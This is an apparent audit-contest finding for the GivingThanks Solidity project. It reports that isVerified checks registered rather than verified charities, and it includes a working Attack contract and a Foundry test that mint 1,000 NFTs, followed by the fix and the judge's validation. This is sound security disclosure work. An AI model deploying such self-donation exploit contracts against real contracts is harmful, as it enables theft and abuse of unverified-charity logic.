GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can mint NFTs with single donation

Summary

In CharityRegistry contract isVerified is checking the registeredCharities[charity] instead of verifiedCharities[charity] which allows attacker to register malicious contracts and mint NFTs basically for free.

Vulnerability Details

In CharityRegistry contract isVerified is checking the registeredCharities[charity] instead of verifiedCharities[charity] which allow attacker to register malicious contract and mint NFTs basically for free.

  1. The attacker creates a malicious contract, registers it as a charity address

  2. Make a single donation

  3. As the charity is a malicious contract that is calling the donation it receives the ether and calls the donation again

This way attacker can mint NFTs for free

Add an Attack contract in src folder and paste the below code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {CharityRegistry} from "./CharityRegistry.sol";
import {GivingThanks} from "./GivingThanks.sol";
contract Attack {
GivingThanks public givingThanks;
CharityRegistry public charityRegistry;
constructor(address _registry, address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
charityRegistry = CharityRegistry(_registry);
}
function attack() external {
charityRegistry.registerCharity(address(this));
require(charityRegistry.isVerified(address(this)), "Charity not verified");
for (uint256 i = 0; i < 1000; i++) {
givingThanks.donate{value: address(this).balance}(address(this));
}
}
receive() external payable {}
}

Now paste this test in GivingThanks.t.sol file and run the test

address public attacker;
attacker = makeAddr("attacker");
function testUnlimitedMintAttack() public {
vm.deal(attacker, 10 ether);
vm.startPrank(attacker);
Attack attack = new Attack(address(registryContract), address(charityContract));
(bool success,) = address(attack).call{value: 1 ether}("");
if (success) {
attack.attack();
}
vm.stopPrank();
assert(charityContract.balanceOf(address(attack)) == 1000);
}

As you can see the test will pass.

Impact

Attacker can mint multiple NFTs for free with malicious contracts.

Tools Used

Manual review and foundry.

Recommendations

Change the isVerified function in CharityRegster contract

function isVerified(address charity) public view returns (bool) {
return verifiedCharities[charity];
}
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-isVerified-return-registered-charities

Likelyhood: High, the function returns registered charities instead of verified ones. Impact: High, Any charities can be registered by anyone and will be declared as verified by this function bypassing verification.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.